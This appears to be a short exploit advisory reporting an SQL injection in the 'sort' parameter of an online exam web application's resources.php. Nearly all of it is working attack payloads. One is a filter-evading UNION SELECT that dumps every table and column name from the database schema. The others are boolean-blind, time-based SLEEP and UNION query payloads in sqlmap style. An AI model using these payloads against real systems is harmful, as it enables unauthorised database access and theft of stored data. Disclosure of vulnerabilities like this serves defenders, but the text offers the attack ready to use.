Online Exam Test Application – SQL Injection
The vulnerability allows an attacker to inject sql commands. Proof of Concept: http://localhost/[PATH]/resources.php?action=category&sort=[SQL] -8++/*!07777UNION*/+/*!07777SELECT*/+0x31,0x32,0x496873616e2053656e63616e,(/*!07777Select*/+export_set(5,@:=0,(/*!07777select*/+count(*)/*!07777from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!07777table_name*/,0x3c6c693e,2),/*!07777column_name*/,0xa3a,2)),@,2))--+- Parameter: sort (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: action=category&sort=8 AND 5525=5525 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: action=category&sort=8 AND SLEEP(5) Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: action=category&sort=8 UNION ALL SELECT NULL,NULL,CONCAT(0x7176707a71,0x77654f6a51797a6c7755546b54574f68467842734c4268517654667a6e584e63634871574f4f454e,0x716b766a71),NULL-- Yhyw